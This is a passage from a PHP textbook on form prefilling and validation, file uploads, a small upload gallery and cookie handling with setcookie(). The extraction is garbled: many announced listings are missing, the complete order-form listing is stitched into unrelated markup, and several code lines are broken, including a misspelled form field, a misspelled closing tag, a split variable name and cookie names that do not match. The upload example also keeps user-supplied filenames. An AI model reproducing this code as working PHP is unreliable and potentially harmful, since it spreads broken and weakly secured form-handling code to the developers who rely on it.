evaluated and possibly entered into the form. For this reason, the script needs easy access
to what the user has or has not entered. Exactly this information is already read out:
This is very practical. If the user has selected one of the radio buttons for the salutation,
this information is in $Salutation. If nothing was clicked, this information is also in
$Salutation because the variable then contains an empty character string. This data is
only determined if the form has been completed in full. However, we also need this
data if there are errors in the form. For this reason, the complete block is moved to the
beginning of the PHP code. It then continues depending on the field type.
What would happen if a user had previously entered, for example, ">>PHP<<" in the
field? This would result in the following HTML code:
An empty text field is therefore output followed by the text PHP (what happens to the
superfluous greater-than and less-than characters is highly browser-dependent). With
a little criminal energy, completely different things can be constructed that can be out-
put in this way—for example, JavaScript code.
Note
Chapter 32 is about necessary safety considerations in PHP programming. Here you will
find further information on how to avoid accidents caused by careless code of the
aforementioned type.
You must therefore edit the value in the variable beforehand. The htmlspecialchars()
function can be used for this. This also applies to multiline text fields, except that the
value of the field is not in the value attribute but between <textarea> and </textarea>.
The following listing shows the new code for the relevant form fields.
Note
Make sure that you do not create any additional whitespaces (e.g., spaces), as these
could then be included in the "value" of the form field.
(attribute checked); otherwise, it is not. This is somewhat tedious to type, but then very
easy to implement.
13.4.4 Checkboxes
Checkboxes follow the same pattern as for radio buttons: If the value matches the data
in $_GET or $_POST (or if there is a value at all), then checked="checked" must be output.
Number of tickets
<select name="Number">
<option value="0">Please select</option>
<option value="1"<?php
if ($Number == "1") {
echo " selected=\"selected\"";
}
?>>1</option>
<option value="2"<?php
if ($Number == "2") {
echo " selected=\"selected\"";
}
?>>2</option>
<option value="3"<?php
if ($Number == "3") {
echo " selected=\"selected\"";
}
?>>3</option>
<option value="4"<?php
if ($Number == "4") {
echo " selected=\"selected\"";
}
?>>4</option>
</select><br />
With multiple selection lists (<select multiple>), this is a little more difficult as there is
not just one value, but several possible ones. Fortunately, PHP includes the in_
array()function,4 which checks whether an element is in an array. And the prefilling of
a multiple selection list works in exactly the same way: For each element, it must be
checked whether the value is in the array that was read from $_GET or $_POST.
Note
Now you also understand why we have declared $Section as an empty array if the user
has not selected anything. The in_array() function only works with arrays, but also
with empty ones. We have therefore avoided an error message at this point by pro-
gramming with foresight.
Listing 13.19 Multiple Selection Lists Are Prefilled (Excerpt from "form-prefill-multiselect-
lists.php")
We have therefore created a "perfect" form. For this reason, Listing 13.20 once again
shows the complete code, including the email check with a (not quite optimal) regular
expression.
<html>
<head>
<title>Order Form</title>
</head>
<body>
<?php
$Salutation = (isset($_POST["Salutation"]) && is_string($_POST[
"Salutation"])) ?
$_POST["Salutation"] : "";
$Firstname = (isset($_POST["FirstName"]) && is_string($_POST["FirstName"]))
?
$_POST["FirstName"] : "";
$Lastname = (isset($_POST["LastName"]) && is_string($_POST["LastName"])) ?
$_POST["LastName"] : "";
$Email = (isset($_POST["Email"]) && is_string($_POST["Email"])) ?
$_POST["Email"] : "";
$Promo = (isset($_POST["Promo"]) && is_string($_POST["Promo"])) ?
$_POST["Promo"] : "";
$Number = (isset($_POST["Number"]) && is_string($_POST["Number"])) ?
$_POST["Number"] : "";
$Section = (isset($_POST["Section"]) && is_array($_POST["Section"])) ?
$_POST["Section"] : [];
$Comments = (isset($_POST["Comments"]) && is_string($_POST["Comments"])) ?
$_POST["Comments"] : "";
$Terms = (isset($_POST["Terms"]) && is_string($_POST["Terms"])) ?
$_POST["Terms"] : "";
$ok = false;
$errorfields = [];
if (isset($_POST["Submit"])) {
$ok = true;
if (!isset($_POST["Salutation"]) ||
!is_string($_POST["Salutation"])) {
$ok = false;
$errorfields[] = "Salutation";
}
if (!isset($_POST["FirstName"]) ||
!is_string($_POST["FirstName"]) ||
trim($_POST["FirstName"]) == "") {
$ok = false;
$errorfields[] = "First name";
}
if (!isset($_POST["LastName"]) ||
!is_string($_POST["LastName"]) ||
trim($_POST["LastName"]) == "") {
$ok = false;
$errorfields[] = "Last name";
}
if (!isset($_POST["Email"]) ||
trim($_POST["Email"]) == "" ||
!preg_match(
'/^[_a-zA-Z0-9_\-.]+@[a-zA-Z0-9\-.]+\.[a-zA-Z]{2,6}$/',
$_POST["Email"])) {
$ok = false;
$errorfields[] = "Email";
}
if (!isset($_POST["Promo"]) ||
!is_string($_POST["Promo"]) ||
trim($_POST["Promo"]) == "") {
$ok = false;
$errorfields[] = "Promo";
}
if (!isset($_POST["Number"]) ||
!is_string($_POST["Number"]) ||
$_POST["Number"] == "0") {
$ok = false;
$errorfields[] = "Number of tickets";
}
if (!isset($_POST["Section"]) ||
!is_array($_POST["Section"])) {
$ok = false;
$errorfields[] = "Section";
}
if (!isset($_POST["Comments"]) ||
!is_string($_POST["Comments"]) ||
trim($_POST["Comments"]) == "") {
$ok = false;
$errorfields[] = "Comments";
}
if (!isset($_POST["Terms"]) ||
!is_string($_POST["Terms"])) {
$ok = false;
$errorfields[] = "Terms & conditions";
}
if ($ok) {
?>
<h1>Form Data</h1>
<?php
$Salutation = htmlspecialchars($Salutation);
$Firstname = htmlspecialchars($Firstname);
$Lastname = htmlspecialchars($Lastname);
$Email = htmlspecialchars($Email);
$Promo = htmlspecialchars($Promo);
$Number = htmlspecialchars($Number);
$Section = htmlspecialchars(implode(" ", $Section));
$Comments = nl2br(htmlspecialchars($Comments));
$Terms = htmlspecialchars($Terms);
echo "<b>Salutation:</b> $Salutation<br />";
echo "<b>First name:</b> $Firstname<br />";
echo "<b>Last name:</b> $Lastname<br />";
echo "<b>Email:</b> $Email<br />";
echo "<b>Promo:</b> $Promo<br />";
echo "<b>Number of tickets:</b> $Number<br />";
echo "<b>Section:</b> $Section<br />";
echo "<b>Comments:</b> $Comments<br />";
echo "<b>Terms & conditions:</b> $Terms<br />";
?>
<?php
} else {
echo "<p><b>Form incomplete</b></p>";
echo "<ul><li>";
}
?>>3</option>
<option value="4"<?php
if ($Number == "4") {
echo " selected=\"selected\"";
}
?>>4</option>
</select><br />
Desired section in the stadium
<select name="Section[]" size="4" multiple="multiple">
<option value="north"<?php
if (in_array("north", $Section)) {
echo " selected=\"selected\"";
}
?>>North</option>
<option value="south"<?php
if (in_array("south", $Section)) {
echo " selected=\"selected\"";
}
?>>South</option>
<option value="east"<?php
if (in_array("east", $Section)) {
echo " selected=\"selected\"";
}
?>>East</option>
<option value="west"<?php
if (in_array("west", $Section)) {
echo " selected=\"selected\"";
}
?>>West</option>
</select><br />
Comments/Notes
<textarea cols="70" rows="10" name="Comments"><?php
echo htmlspecialchars($Comments);
?></textarea><br />
<input type="checkbox" name="Terms" value="ok" <?php
if ($Terms != "") {
echo "checked=\"checked\" ";
}
?>/>
I accept the terms & conditions.<br />
<input type="submit" name="Submit" value="Place order" />
</form>
<?php
}
?>
</body>
</html>
As you can see, this is quite a lot of work. The form, which was less than 40 lines long as
a pure HTML form, is now five times as long with around 200 lines. But the effort is
worth it as the form is now really rich in functionality and usability. And the best thing
is that no matter what kind of form you have with which fields, the procedure is always
the same.
access the transferred data on the server side. You must also send the form via POST. To
be honest, it would also make little sense to rely on the GET restrictions for files:
All transferred files are accessible from PHP via the (superglobal) $_FILES array. If we
assume that the file has been specified in a form field called "File", then the following
array elements are of interest:
쐍 $_FILES["File"]["error"]
Any error code if something went wrong
쐍 $_FILES["File"]["name"]
The original file name on the user's system
쐍 $_FILES["File"]["size"]
The size of the file in bytes
쐍 $_FILES["File"]["tmp_name"]
The (temporary) name of the file on the server
쐍 $_FILES["File"]["type"]
The MIME type of the file (sent by the client browser)
<html>
<head>
<title>File Upload</title>
</head>
<body>
<?php
if (isset($_FILES["File"])) {
ksort($_FILES["File"]);
reset($_FILES["File"]);
echo "<table>";
foreach ($_FILES["File"] as $key => $value) {
$value = is_string($value) ? htmlspecialchars($value) : "";
echo "<tr><td>$key</td><td>$value</td></tr>";
}
echo "</table>";
}
?>
<form method="post" enctype="multipart/form-data" action="">
<input type="file" name="File" />
Figure 13.11 and Figure 13.12 show the result of this script for the same file in two differ-
ent browsers. You can see that Internet Explorer (in the ancient version used) transfers
the complete path and thus provides the website with more information than is actu-
ally necessary. In return, the file size may not be available—but in most cases, this is
due to the web server.
Tip
For programming, of course, this means that you can only get a proper file name with-
out a path if you rely on the basename() PHP function. This extracts the actual file name
from a path specification.
However, a transferred file is automatically deleted again as soon as the PHP script has
finished. You therefore have to make sure that the file is copied somewhere so that you
can continue to use it.
This used to be associated with risks. Although $_FILES["file"]["tmp_name"] contains
the temporary name of the file, with a little effort an attacker could also falsify this
information and thus instruct the PHP script to process a file that should not actually
be processed (classic example: /etc/passwd). PHP offers the is_uploaded_file() func-
tion, which checks whether a file name actually contains a file transferred via file
upload. As you want to move the file somewhere else afterward anyway, you should
use the sister function, move_uploaded_file(), which moves a file to a destination.
Note
You can set where the file is cached yourself. If the upload_tmp_dir configuration option
in php.ini is not set, then the temporary directory of the operating system is used. But in
some PHP versions, this only works particularly well on Unix/Linux systems. So be sure
to set this setting and, of course, make sure that PHP has write permission for the
selected folder. When using move_uploaded_file(), the write permissions must also
exist for the target folder.
There is also the upload_max_filesize option, with which you can specify a maximum
size for files to be transferred. However, PHP checks this: The file is therefore trans-
ferred, but then possibly discarded. This is why we do not use this option, as you can
use $_FILES["file"]["size"] to check how many bytes have been transferred.
Some sources claim that the following form field works wonders:
Even browsers are supposed to reject files that are too large. However, this simply does
not work, and even if it did, an attacker could still manipulate the file. So don't expect
your PHP script to contain a file with a size "smaller than X"; instead, check the size
yourself.
If you transfer several files at once, note the max_file_uploads php.ini option. This spec-
ifies how many files may be uploaded in total.
Tip
In this context, there is another practical configuration option: post_max_size is the
maximum size of all files transferred via POST. If this is exceeded, PHP will not execute
the target script in order to prevent PHP from being overloaded.
Note
In Chapter 28, we discuss the interaction between PHP and JavaScript in more detail.
The following adjustment to the <form> element helps to ensure that a form is checked
before it is sent:
The onsubmit attribute is used to specify JavaScript code that is to be executed directly
before the form is sent. The trick: If the JavaScript code is return false, then the form
submission is canceled. In our case, the code is return check(this). The calculation: The
form data is checked in the (self-written) JavaScript function check(). If an error occurs,
check() returns the value false. This means that onsubmit de facto has the value return
false and the form is prevented from being sent.
The only thing missing is the JavaScript code. This is best placed in the <head> section of
the HTML page. The check() function must be defined; a reference to the form to be
checked is passed as a parameter when it is called. First, declare an error variable in
which you store the names of the fields in which an error has occurred:
<script>
function check(f) {
var error = "";
Now go through the fields one by one. Let's start with the text fields. Their value is
checked here:
Tip
Why check with !f.elements["Field"] when the respective field exists in the form?
Here too, we program with foresight. If you adapt the JavaScript code for your own
scripts and forget to replace a name when copying and pasting, a JavaScript error mes-
sage is prevented.
For both radio buttons, you must check whether one of them has been selected; this
can be done using the checked JavaScript property:
if (!f.elements["Salutation"] || (
!f.elements["Salutation"][0].checked &&
!f.elements["Salutation"][1].checked)) {
error += "Salutation\n";
}
It is easier with the checkbox. Here, only the checkbox itself needs to be considered—
again, in the checked property:
if (!f.elements["erms"].checked) {
error += "Terms & conditions\n";
}
With the selection lists, the result depends very much on what exactly "Nothing is
selected" means. In the example form, the single selection list contains a dummy entry
(Please Select) at the top, which is of course considered "not filled in." The field is only
considered correctly completed from the second list entry on. The internal counting of
the list fields in JavaScript starts at 0; that is, everything is OK from field number 1. The
selected field number is in the selectedIndex property, which results in the following
check code:
In a multiple list, selectedIndex is rarely used because when querying the form entries,
not only the first selected element (which is in selectedIndex) is of interest, but all
selected elements. When checking fields, on the other hand, it is only relevant whether
anything has been selected at all. If not, selectedIndex has the value -1, which we check
as follows:
if (!f.elements["Section[]"] ||
f.elements["Section[]"].selectedIndex == -1) {
error += "Section\n";
}
Note
You must enter the complete name of the field in JavaScript, including the square
brackets in the name for multiple selection lists!
The error variable is checked at the end. If there is something in it, an error has
occurred, so you should inform the user of this (see Figure 13.13) and prevent the form
from being sent with return false:
if (error != "") {
alert("** Error in the following fields:\n\n" + error);
return false;
} else {
return true;
}
}
</script>
And that's it! The following listing shows the complete JavaScript code, embedded in an
"even more perfect" form.
<html>
<head>
<title>Order form</title>
<script>
function check(f) {
var error = "";
if (!f.elements["Salutation"] ||
(!f.elements["Salutation"][0].checked &&
!f.elements["Salutation"][1].checked)) {
error += "Salutation\n";
}
if (!f.elements["FirstName"] || f.elements["FirstName"].value == "") {
error += "First name\n";
}
if (!f.elements["LastName"] || f.elements["LastName"].value == "") {
error += "Last name\n";
}
if (!f.elements["Email"] || f.elements["Email"].value == "") {
error += "Email\n";
}
if (!f.elements["Promo"] || f.elements["Promo"].value == "") {
error += "Promo\n";
}
if (!f.elements["Number"] || f.elements["Number"].selectedIndex < 1) {
error += "Number of tickets\n";
}
if (!f.elements["Section[]"] ||
f.elements["Section[]"].selectedIndex == -1) {
error += "Section\n";
}
if (!f.elements["Comments"] || f.elements["Comments"].value == "") {
error += "Comments\n";
}
if (!f.elements["Terms"] || !f.elements["Terms"].checked) {
error += "Terms & conditions\n";
}
if (error != "") {
Listing 13.22 The Form with JavaScript Validation (Excerpt from "form-javascript.php")
Note
Do not rely on the JavaScript check. In case of doubt, a user can always deactivate Java-
Script in the browser. You must therefore always check on the server side; a client-side
check can only be a supplement.
Let's get started. The upload directory is given the (meaningful) name upload and must
of course be created manually beforehand and assigned write permissions. The file
transferred via <input type="file" /> is moved to this directory using move_uploaded_
file(). The target file name is determined from $_FILES[] with basename() as described
previously. Listing 13.23 shows the code, and Figure 13.14 shows the application.
<html>
<head>
<title>Gallery: Upload</title>
</head>
<body>
<?php
if (isset($_FILES["File"])) {
$sourcename = $_FILES["File"]["tmp_name"];
$targetname = $_FILES["File"]["name"];
$targetname = "upload/" . basename($targetname);
if (@move_uploaded_file($sourcename, $targetname)) {
echo "<p>File uploaded!</p>";
} else {
echo "<p>Error (maybe a problem with access rights)!</p>";
}
}
?>
<form method="post" enctype="multipart/form-data" action="">
<input type="file" name="File" />
<input type="submit" value="Upload" />
</form>
</blody>
</html>
Figure 13.14 Not Pretty, But Simple and Effective: The Picture Gallery
Note
This script naturally contains a potential security vulnerability: If a file is transferred
whose name is already in use, the PHP script overwrites the old file with the same
name. You can prevent this by adding a random component to the target name (or
alternatively, testing for existing files):
$target name = "upload/" . time() . basename($target name);
On the actual gallery page, you need the Directory class, which is introduced in Chapter
25. This reads all files and creates <img> tags from them.
<html>
<head>
<title>Gallery</title>
</head>
<body>
<?php
if ($folder = opendir("upload/")) {
while (false !== ($file = readdir($folder))) {
if ($file != ".." && $file != ".") {
13.7 Settings
To conclude the chapter, we present some relevant configuration options for form
access.
In the php.ini configuration file, the options listed in Table 13.2 can be set for form han-
dling and file uploads.
HTTP is a stateless protocol; that is, it has no memory. This means that no data can be
temporarily stored between two page requests. All information that was still available
on the first page is lost on the next page. There are several solutions to this problem,
which are presented in this and the next chapter. First, we will look at cookies—useful
but controversial little crumb cookies.
14.1 Preparations
Cookie support is directly integrated in PHP. This means that no additional installa-
tions are required. However, to better understand the examples in this chapter, it is
useful to take a look at the cookie settings of your web browser. Depending on the
browser, cookies are either activated automatically or a warning message appears
whenever a new cookie arrives.
In Safari, these settings can be found under Safari 폷 Preferences 폷 Privacy. After clicking
Block all cookies (see Figure 14.1), cookies will no longer work—and neither will most
websites, as indicated by a warning message.
In the Chrome browser, the cookie settings can be found under the URL chrome://
settings and then under Privacy and security 폷 Third-party cookies (see Figure 14.2). Only
The Firefox browser (and all other browsers) also offers options in the browser settings
for cookie handling. You can access this via Tools 폷 Settings 폷 Privacy & Security and
then can make the appropriate settings in the Enhanced Tracking Protection area (see
Figure 14.3).
Set-Cookie: ProgrammingLanguage=PHP
Set-Cookie: LanguageVersion=8
The web browser receives this data and processes it according to the configuration,
resulting in one of the following:
쐍 The cookie is saved.
쐍 The cookie is rejected.
쐍 The user is asked whether the cookie should be accepted or rejected.
The web server is initially unaware of what exactly happens to the cookie. The text
information is stored on the user's hard disk or in the system's memory. The real trick
is only revealed the next time a page is called up from the web server, when the web
browser sends the cookie back to the web server. It looks like this:
This allows the server to access the previously sent data again and recognize the user.
The cookies themselves end up on the user’s hard disk. The exact implementation is
the responsibility of each browser manufacturer and is always slightly different. A file-
based database, such as SQLite, is usually used.
There is also the possibility that cookies are only stored in memory but not perma-
nently on the hard disk. As a consequence, after restarting the browser, this data is no
longer available. Under certain circumstances, this behavior may be desirable.
14.2.2 Restrictions
For the publication of the cookie specification, certain precautionary measures were
taken.
Probably the most important restriction is that a cookie can only be read by the server
that set it. A cookie from www.php.net is therefore not visible from the website
www.asp.net—and vice versa. However, it is possible to bind cookies to a second-
level domain (SLD). If .php.net is specified as the cookie domain (with a leading
dot), this cookie can be read not only from www.php.net but also from pecl.php.net
and win-dows.php.net, among others. It is even possible to restrict the cookie to a path
within a domain. If the path of a cookie is set to /government, then it cannot be
accessed from a page on /opposition and vice versa.
There are also restrictions regarding the amount of data. A cookie itself can only con-
tain 4 KB (4,096 characters) of data. This applies to both the name and the value of the
cookie. If these together exceed 4 KB, the value may be truncated but the name remains
intact (provided it is smaller than 4 KB, which can probably be assumed). Note that this
is a minimum requirement for the browser, which can also process longer cookies at its
own discretion.
A web browser is also instructed to accept only a maximum of 300 cookies. Only 20
cookies are permitted per domain. As soon as one of these limits is exceeded (i.e., the
301st cookie in total or the 21st cookie of the domain arrives), the corresponding oldest
cookie may be deleted. These limits date back to times when hard disk space was
almost prohibitively expensive. Modern browsers are more relaxed about these limits.
Two months and issues later, in May 1997, the overdue correction appeared in a small
box in the margin. The author admitted that he had not checked his claims at all,
although this would have been technically very easy. He also claimed to have had an
idea for how to "steal" the cookie information, but printed the possible result (cookies
are insecure) without checking it. As it turned out, it was not possible. The author vio-
lated crucial basic journalistic rules, but the damage had already been done. Even
today, many people are still unaware of what cookies are and what risks they entail (see
also Section 14.5)—and which risks are simply scaremongering. Completely free of all
prejudices and concerns, we will now look at how cookies can be used in PHP.
boolean setcookie ( string name [, string value [, int expires [, string path
[, string domain [, bool secure[, bool httponly]]]]]])
Table 14.1 explains the meanings of the seven parameters. Based on that quantity, you
will appreciate PHP’s feature of named function parameters, but this will have to wait a
few more pages, because there is a special feature to consider first.
name The name of the cookie; this parameter is the only mandatory String
one. All others are optional.
expires The expiration date of the cookie as the number of seconds since Integer
1.1.1970.
path The directory from which the cookie may be read. String
secure A value that specifies whether the cookie may only be sent via Boolean
HTTPS connections or not.
httponly Indicates whether the cookie is "invisible" for JavaScript or not. Boolean
The individual parameters (except name and value) are dealt with separately in detail
ahead.
Expiration Date
There are two types of cookies, which differ according to the expiration date:
쐍 Temporary cookies or session cookies, which are only valid until the browser is closed
쐍 Permanent cookies or persistent cookies, which are valid until a specified expiration
date
The expiration date is set as shown in Table 14.1, specified as an integer value. The "unit
of measurement" used is the epoch value from the Unix world: the number of seconds
elapsed since January 1, 1970. There are two main ways to calculate such a value quickly
and intuitively:
쐍 time() returns the current date and time as an epoch value. If you want a cookie to
be valid for a certain period from the current time, add the corresponding period of
time in seconds to the return value of time(). A cookie that is valid for exactly one
day would have the following value for the expiration date:
time() + 60*60*24
That is, 60 seconds per minute, 60 minutes per hour, 24 hours per day.
쐍 mktime() converts a date into an epoch value. A cookie that is valid until 12 noon on
Christmas Eve in 2025 (December 24) would have the following value as the expira-
tion date:
Note
You can find more information on these and other date functions in Chapter 9.
If a cookie does not have an expiration date (i.e., there is no third parameter for
setcookie() or zero is the third parameter), it is a temporary cookie. This is deleted by
the system when the browser is closed, so it is no longer there the next time the
browser starts. The following code fragment sets some cookies:
<?php
setcookie("ProgrammingLanguage", "PHP",
time() + 60*60*12); // valid for 12 hours
setcookie("LanguageVersion", "8",
mktime(0, 0, 0, 12, 24, 2025)); // Dec 24, 2025
setcookie("Session", "abc123"); // temporary
?>
Path
Cookies can be bound not only to a domain, but also to a directory. This was particu-
larly important in the past when own domains were still very expensive and therefore
many websites had URLs along the lines of www.site.xyz/username. Of course, it would
be fatal if a cookie was set on www.site.xyz/username1, which could then be read by the
competition at www.site.xyz/username2. For this reason, the standard behavior of
cookies under PHP is as follows: The directory in which you set the cookie is also used
as the value for the cookie path. A cookie that you set at www.your-company.xyz/prod-
ucts/index.php cannot be read from your homepage at www.your-company.xyz/
index.php! For this reason, it is a good idea to set the cookie path to the main directory:
<?php
setcookie("ProgrammingLanguage", "PHP",
time() + 60*60*12, "/"); ?
?>
If you only need a cookie in a specific area of your website (such as the administration
area), it is equally useful to set the path accordingly. Ultimately, you will achieve a small
but significant performance gain: the cookie is no longer sent by the web browser in
the HTTP header for all pages, but only for URLs within the specified path.
Domain
The fifth parameter for setcookie() is the domain that has access to the cookie. By
default—that is, if you do not specify the domain name—the browser takes the rele-
vant domain directly from the URL. Thus, if your users access your website via their IP
address, only this will be used; the domain name will not work.
In the original specification, the Netscape developers stipulated that the domain
name must consist of at least two dots. So if you want to "serve" pecl.php.net,
windows.php.net, and www.php.net with a cookie, you must enter ".php.net" as the
value, including the leading dot.
Newer browsers do not necessarily require the two dots. However, to achieve the great-
est possible browser compatibility, you should always specify at least two dots in the
domain name if possible.
Some have now come up with a clever trick to use and collect cookies across
multiple domains. The entire procedure is described in Section 14.5 in detail. The
core compo-nent of this method is to specify a foreign domain. This means that a
cookie is set on www.php.net, but www.asp.net is specified as the domain name.
However, such "for-eign cookies" are rejected by several browsers or can be rejected.
The following is a code fragment in which a cookie with a domain value is created:
<?php
setcookie("ProgrammingLanguage", "PHP",
time() + 60*60*12, "/", ".php.net");
?>
Safe
Finally, the sixth parameter for setcookie() deserves a mention. If this is set to true, the
cookie is only sent via secure connections (i.e., via HTTPS). So if you store sensitive data
in cookies, you should set this parameter—but then you also need an HTTPS-capable
web server.
If you omit this parameter (or set it to false), the cookie is only sent via HTTP, not via
HTTPS.
Note
However, it is not necessarily advantageous to hide sensitive data in cookies, whether
encrypted or not; in fact, it is not advisable. It is better to store this data exclusively on
the server. In the next chapter, you will learn how this is possible.
<?php
setcookie("password", "top secret",
time() + 60*60*12, "/", ".php.net",
true);
?>
"httponly"
One of the possible manifestations of cross-site scripting (an attack against web applica-
tions that we discuss in detail in Chapter 32) is that JavaScript code that has been smug-
gled in can access cookies. Microsoft has suggested how this could at least be made
more difficult: If httponly is specified as an additional cookie argument, then the
cookie is sent along with the complete HTTP communication as before, but JavaScript
no longer sees the cookie.1 In the meantime, other browser developers have followed
suit and also retrofitted this feature.
The following cookie cannot be read by JavaScript:
1 In certain configurations, it is still possible for JavaScript to access the cookie, but only with some
effort.
<?php
setcookie("password", "top secret",
time() + 60*60*12, "/", ".php.net",
true, true);
?>
<?php
setcookie(name: "password", value: "top secret",
expires: time() + 60*60*12, path: "/", domain: ".php.net",
secure: true, httponly: true);
?>
To solve this puzzle, we need to expand a little. To make the setcookie() function as
flexible as possible, there is an alternative syntax, as mentioned earlier:
In other words, all parameters apart from the name and value are stored in an array, so
the call under discussion could then be rewritten as follows:
It must be possible to reconcile these two different function signatures. The basic_func-
tions.stub.php file2 reveals how:
2 See http://s-prs.co/v602221.
<?php
setcookie(name: "password", value: "top secret",
expires_or_options: time() + 60*60*12, path: "/", domain: ".php.net",
secure: true, httponly: true);
?>
SameSite Cookies
The topic of SameSite cookies is a hot topic. On the one hand, cross-site request forgery
(CSRF) attacks can be prevented or at least made more difficult; on the other hand,
Google Chrome's decision to provide cookies with certain SameSite features by default
has led to unplanned extra work in numerous web applications. Essentially, each
cookie has one of three SameSite levels (see Table 14.2). If a cross-site request is made—
that is, a page from domain A is loaded in the browser and a link or form is sent to
domain B—then the cookies from domain B are not always sent along.
Parameters Description
Lax Cookies are only sent with cross-site requests via HTTP GET
Because Chrome has made Lax mode the default (and Firefox has announced that it will
do the same at some point), there may be a need for action.
This allows us to build a bridge to PHP: setcookie() and setrawcookie() do not have
their own parameter for SameSite mode. However, it is possible to set this value via the
options array:
Timing
Finally, an important note: As cookies are sent as part of the HTTP header, all calls to
setcookie() must be made before the first HTML output.3 This is because as soon as
HTML is delivered, the HTTP headers have already been sent. If you still set HTTP head-
ers afterward, the error message shown in Figure 14.4 appears in some PHP versions
and configurations.
In the following script, it is done correctly; that is, a few cookies are set before the HTML
code is output.
<?php
setcookie("ProgrammingLanguage", "PHP",
time() + 60*60*12, "/");
setcookie("LanguageVersion", "8",
mktime(0, 0, 0, 12, 24, 2025), "/");
setcookie("Session", "abc123", 0, "/");
?>
<html>
<head>
<title>Cookies</title>
</head>
<body>
<p>Cookies have been set!</p>
</body>
</html>
3 At least so long as output buffering is deactivated. If you have set the output_buffering option to an
appropriate value in php.ini, then PHP will still set the cookies in good time and no error message
will appear.
Figure 14.5 The Browser Developer Tools Reveal the Arrival of Cookies.
Tip
If you still want to set cookies in the middle of the PHP page for convenience (or even
have to), you can use the functions for output buffering. You can find more information
on this at the end of the chapter.
Note
If you want to change the value of a cookie, you must enter exactly the same informa-
tion as when the cookie was created (with the exception of the expiration date and, of
course, the cookie value, as you may want to change this information). If you fail to do
this, PHP or the web browser will create several cookies with the same name.
And a final brief note on the time sequence: Cookies are sent to the client in the order
in which they appear in the PHP script.
Special Characters
The cookie value is automatically URL-coded, so under the hood, a call is made to
urlencode() is made. However, there may be situations in which this is not desired,
such as if the cookie value is already URL-encoded. In this case, use the setrawcookie()
function, which does not modify the value of the cookie. Apart from this, the function
is identical to setcookie().
<html>
<head>
<title>Cookies</title>
</head>
<body>
<xmp>
<?php
print_r($_COOKIE);
?>
</xmp>
</body>
</html>
Figure 14.6 shows the output of this script if set.php has been executed before (see Lis-
ting 14.1).
To access an individual cookie, the cookie name must be used as an array key. The follow-
ing listing shows the three previously set cookies. You can see the result in Figure 14.7.
<html>
<head>
<title>Cookies</title>
</head>
<body>
<table>
<tr><th>Name</th><th>Value</th></tr>
<tr><td>Programming language</td><td>
<?php
echo htmlspecialchars(
$_COOKIE["Programming language"]);
?>
</td></tr>
<tr><td>Language version</td><td>
<?php
echo htmlspecialchars(
$_COOKIE["Language version"]);
?>
</td></tr>
<tr><td>Session</td><td>
<?php
echo htmlspecialchars(
$_COOKIE["Session"]);
?>
</td></tr>
</table>
</body>
</html>
But be careful: If no cookie with the specified name exists, a warning message will be
displayed with the corresponding PHP configuration. To test this, close all browser win-
dows, restart the browser, and call the read.php script again (alternatively, you can also
delete the cookie session manually if your web browser allows this). You can see the
result in Figure 14.8: The cookie session no longer exists (as it had no expiration date).
$_COOKIE["Session"] therefore leads nowhere.
You must therefore explicitly check whether the cookie exists. This can be done using
the array_key_exists() array function (see Chapter 8):
if (array_key_exists("Session", $_COOKIE)) {
// ...
}
More common, however, is a check with empty() or isset() as in the form handling:
if (isset($_COOKIE["Session"])) {
// ...
}
Note
A correspondingly improved version of Listing 14.3 can be found in the online materials
for the book (see Preface) under the file name read-improved.php. The warning mes-
sage also disappears there.
This allows you to read every cookie, but not its properties such as the path and expira-
tion date. Such data is only stored on the client; only the cookie name and the cookie
value are ever sent to the server.
The trick here is to set the expiration date to a date in the past. The browser then deletes
the cookie from the cookie memory.
The value 0, for example, is suitable for this—that is, converting the date to January 1,
1970—because it is obviously in the past. The following code would do this for the ses-
sion cookie; for a permanent cookie, it works in the same way:
Note
Once again, be careful to use the same remaining parameters as when setting the
cookie. If you were to omit the fourth parameter for the path, the browser would con-
sider the cookie to be a new crumb cookie (and then delete it immediately due to the
expiration date).
Let’s create a small application that enables the user to delete a cookie. For this purpose,
all cookies are output in a foreach loop:
After each cookie, a link is output that calls up the script again with the URL parameter
?kill=cookiename. If this is recognized, the script deletes the cookie again—before the
first HTML output, of course:
if (isset($_GET["kill"])) {
setcookie($_GET["kill"], "", 0, "/");
}
For these changes to be visible to the web server, the page must be reloaded; otherwise,
the $_COOKIE array would initially still contain the cookie that has already been deleted:
Tip
Why so complicated, you may ask? Why not simply use HTTP redirection? You have to
output the HTTP header location. In PHP, this is done with the header() function. Via
$_SERVER["PHP_SELF"], you access the URL of the current script and thus ensure a redi-
rect or a reload (nl2br() removes any existing line breaks):
header("Location: " . nl2br($_SERVER["PHP_SELF"]));
The reason for this is a bug in older versions of Microsoft’s IIS web server. If you call up
a CGI script that sets (or deletes, which is technically the same thing) a cookie and then
immediately performs a server-side redirect, this cookie is not sent from the web server
to the web browser.
For this reason, you need an HTML redirect with the <meta> tag shown.
The complete script is shown in the next listing; Figure 14.9 shows its application.
<?php
if (isset($_GET["kill"])) {
setcookie($_GET["kill"], "", 0, "/");
}
?>
<html>
<head>
<title>Cookies</title>
<?php
if (isset($_GET["kill"])) {
echo("<meta http-equiv=\"refresh\" " .
"content=\"0;url=" .
htmlspecialchars($_SERVER["PHP_SELF"]) .
"\">");
}
?>
</head>
<body>
<table>
<tr><th>Name</th><th>Value</th>
<th>Delete?</th></tr>
<?php
foreach (array_keys($_COOKIE) as $name) {
echo("<tr><td>" . htmlspecialchars($name) .
"</td>");
echo("<td>" .
htmlspecialchars($_COOKIE[$name]) .
"</td>");
echo("<td><a href=\"" .
htmlspecialchars($_SERVER["PHP_SELF"]) .
"?kill=" . urlencode($name) .
"\">Yes</a></td></tr>");
}
?>
</table>
</body>
</html>
The application has some subtleties. For example, the cookie name and value are con-
verted to HTML format before being output using htmlspecialchars(). This avoids
potential "disasters" in the display if, for example, the cookie value contains angle
brackets. In addition, the script name is consistently read via $_SERVER["PHP_SELF"]
before the link is output or the page is reloaded. This means that the script still works
even if you rename it.
However, there is one restriction: as mentioned, the value of the path must match the
cookie path actually set when the cookie is deleted. This cannot be read with PHP. For
this reason, the value "/" is "guessed" as the path. If a cookie has a different path, dele-
tion will not work.
This sets a cookie called Session with the value "abc123", which can be read on the entire
website (path /). The client then sends the cookie back to the web server as follows:
Current browsers do not yet support this. However, it is already possible to use this
technology with PHP. You must then set the cookie using the header() function, with
which you can specify an HTTP header:
As soon as clients exist that can process these "new" cookies, you will receive access to
this data via $_SERVER["HTTP_COOKIE"].
Tip
$_SERVER["HTTP_COOKIE"] already contains a list of cookie names and values; the data
for $_COOKIE is also determined from this.
